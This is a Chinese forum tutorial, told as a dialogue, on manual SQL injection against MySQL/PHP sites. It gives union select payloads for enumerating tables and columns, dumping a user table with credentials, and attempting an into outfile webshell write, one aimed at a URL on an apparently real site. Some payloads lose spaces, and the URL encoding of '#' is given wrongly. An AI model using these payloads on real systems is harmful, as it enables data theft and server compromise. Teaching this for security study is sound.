資源共享吧|易語(yǔ)言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡(luò)安全教程|rigasin.com|我的開發(fā)技術(shù)隨記

 找回密碼
 注冊(cè)成為正式會(huì)員
查看: 1332|回復(fù): 0
打印 上一主題 下一主題

[網(wǎng)絡(luò)安全/滲透測(cè)試] 代碼審計(jì)入門教學(xué)(三)

[復(fù)制鏈接]

4

主題

4

帖子

0

精華

新手上路

Rank: 1

資源幣
10
積分
12
貢獻(xiàn)
0
在線時(shí)間
2 小時(shí)
注冊(cè)時(shí)間
2020-2-19
最后登錄
2020-5-2
跳轉(zhuǎn)到指定樓層
樓主
發(fā)表于 2020-2-19 23:13:56 | 只看該作者 |只看大圖 回帖獎(jiǎng)勵(lì) |倒序?yàn)g覽 |閱讀模式
代碼審計(jì)入門教學(xué)(三)
小白:“我們主要是以mysql和php環(huán)境下的SQL注入,SQL手工注入的步驟可以分為:
①        判斷是否存在注入;
②        判斷注入類型,分為整數(shù)型和字符型;
③        判斷字段數(shù);
④        判斷數(shù)據(jù)庫(kù)版本是否大于5.0;
⑤        獲取當(dāng)前數(shù)據(jù)庫(kù);
⑥        獲取當(dāng)前數(shù)據(jù)庫(kù)存在的表;
⑦        獲取表存在的字段;
⑧        獲取表內(nèi)的數(shù)據(jù);
⑨        寫入webshell,如果當(dāng)前用戶是root賬號(hào),并且存在硬盤讀取權(quán)限的話。”
仔仔:“那我如何判斷是否存在注入呢?”
小白:“不急,且聽我細(xì)細(xì)道來(lái)。我們先在瀏覽器打開上次發(fā)現(xiàn)的可以手工注入的鏈接:



小白:“如何判斷注入類型的方法上次也講了,我們接著講第三步驟,判斷字段數(shù),判斷字段數(shù)有兩種方法,order by和聯(lián)合查詢,聯(lián)合查詢也可分為union select和union all select。當(dāng)然啦,我這里只是講常用的兩種方法,如果有其他大牛有其他方法,那得好好討教才行!

仔仔:“那這兩種方法有什么區(qū)別呢?”

小白:“個(gè)人拙見是order by可以使用二分法快速獲取到具體字段數(shù),聯(lián)合查詢比較笨,要一個(gè)一個(gè)數(shù)的猜,直到字段數(shù)匹配。”

接下來(lái)開始實(shí)施:

Lgid=1 order by 10





試了下,從1到10都沒(méi)檢測(cè)出來(lái),換成聯(lián)合查詢判斷。


說(shuō)到這里,不得不說(shuō)下mysql的注釋符,mysql的注釋符有:

#(url編碼是23%)

--(一般和加號(hào)一起,--+)

/**/

//

……

小白:“獲取到字段數(shù)后,判斷數(shù)據(jù)庫(kù)版本,可以用version()函數(shù)判斷!



仔仔:“為什么要判斷數(shù)據(jù)庫(kù)版本是不是大于5.0呢?”

小白:“這個(gè)我也剛剛準(zhǔn)備和你說(shuō),要判斷數(shù)據(jù)庫(kù)版本大于5.0主要是因?yàn)閙ysql5.0以上的版本存在一個(gè)默認(rèn)數(shù)據(jù)庫(kù)information_schema,這個(gè)數(shù)據(jù)庫(kù)存放了數(shù)據(jù)庫(kù)所有數(shù)據(jù)庫(kù)的表名和字段信息,關(guān)于這個(gè)數(shù)據(jù)庫(kù)更多的信息可以去搜索下。接下來(lái)是獲取當(dāng)前數(shù)據(jù)庫(kù),可以用mysql內(nèi)置函數(shù)database()獲取!


仔仔:“這挺簡(jiǎn)單的。”

小白:“知道當(dāng)前數(shù)據(jù)庫(kù)后接下來(lái)獲取表名,這個(gè)有三種獲取方法:

①      Table_schema=database();

②      Table_schema=’xxxdb’

③      Table_schema=xxxdb的十六進(jìn)制。這三種方法可以靈活應(yīng)用,過(guò)濾單引號(hào)的時(shí)候可以用①和③”

lgid=1 union select1,2,3,4,5,6,table_name database() from information_schema.tables wheretable_schema=database()#




可以看到有一些表:

這樣子獲取表名可能存在重復(fù),mysql有一個(gè)關(guān)鍵字distinct可以去除重復(fù)。

lgid=1 union select distinct 1,2,3,4,5,6,table_name from information_schema.tables wheretable_schema=database()#






也可以使用mysql數(shù)據(jù)庫(kù)字符串拼接函數(shù)group_concat()拼接字符。

lgid=1 union select1,2,3,4,5,6,group_concat(distinct table_name) from information_schema.tableswhere table_schema=database()#



可以看到有以下這些表:

sc_banner,sc_categories,sc_config,sc_download,sc_images,sc_info,sc_language,sc_link,sc_menu,sc_msg,sc_products,sc_tagandseo,sc_user

小白:“Mysql還有其他字符串拼接函數(shù),這里就不一一列舉了,仔仔你有興趣就搜索學(xué)習(xí)!

仔仔:“好咧!”

小白:“知道表了,接下來(lái)獲取表的字段,用的是information_schema.columns表,columns和tables顧名思義是字段s和表s,columns可以獲取到table_name,但tables不能獲取到column_name。接下來(lái)我們獲取sc_user表的字段試試!

lgid=1 union select1,2,3,4,5,6,group_concat(distinct column_name) from information_schema.columnswhere table_schema=database() and table_name=0x73635f75736572#



或者lgid=1 union select1,2,3,4,5,6,group_concat(distinct column_name) from information_schema.columnswhere table_schema=database() and table_name='sc_user'#



可以看到有以下字段:

ID,user_name,user_admin,user_ps,user_tel,user_qx,user_time,user_email,user_rzm

小白:“獲取到表的字段后就可以獲取表的數(shù)據(jù)了!

http://www.yuesec.com/rifj_Admin/xxxCMS_Banner.php?lgid=1union select 1,2,3,4,5,6,group_concat(distinct ID,user_name,user_admin,user_qx)from sc_user#



小白:“好,獲取到用戶表的用戶名和密碼后就可以登錄后臺(tái)了,如果存在上傳漏洞就可以getshell,一般數(shù)據(jù)庫(kù)當(dāng)前用戶是普通用戶注入到這里就結(jié)束了。如果當(dāng)前數(shù)據(jù)庫(kù)用戶是root,且對(duì)磁盤可讀可寫的話可以通過(guò)into outfile進(jìn)行g(shù)etshell。要通過(guò)數(shù)據(jù)庫(kù)寫shell的話還需要知道網(wǎng)站的存放物理路徑,可以通過(guò)@@datadir獲取到數(shù)據(jù)庫(kù)的物理路徑,如果使用的是wamp或者lampp就萬(wàn)事大吉了,因?yàn)閣amp和lampp網(wǎng)站目錄比較固化。如果不是集成工具部署網(wǎng)站環(huán)境的話,只能通過(guò)物理路徑泄露漏洞獲取,或者通過(guò)load_file()函數(shù)讀取服務(wù)器上的文件猜測(cè)網(wǎng)站存放路徑了。”

lgid=1 union select1,2,3,4,5,6,group_concat(distinct @@datadir) from sc_user#



lgid=1 union select1,2,3,4,5,6,group_concat(distinct @@datadir)  into outfile ‘D:\\phpstudy\\www\\test.php’#


寫入不成功,這在意料之中,因?yàn)楫?dāng)前用戶不是root用戶,沒(méi)有磁盤讀寫權(quán)限。

lgid=1 union select 1,2,3,4,5,6,group_concat(distinctuser())#



第一條\\是在windows環(huán)境下使用,如果是linux只需要一個(gè)\就可以,如果第一條不行,可以試試第二條。

回復(fù)

使用道具 舉報(bào)

 點(diǎn)擊右側(cè)快捷回復(fù)  

本版積分規(guī)則

小黑屋|資源共享吧 ( 瓊ICP備2023000410號(hào)-1 )

GMT+8, 2025-3-12 18:43 , Processed in 0.035137 second(s), 15 queries , MemCached On.

Powered by Discuz! X3.4 Licensed

Copyright © 2001-2021, Tencent Cloud.

快速回復(fù) 返回頂部 返回列表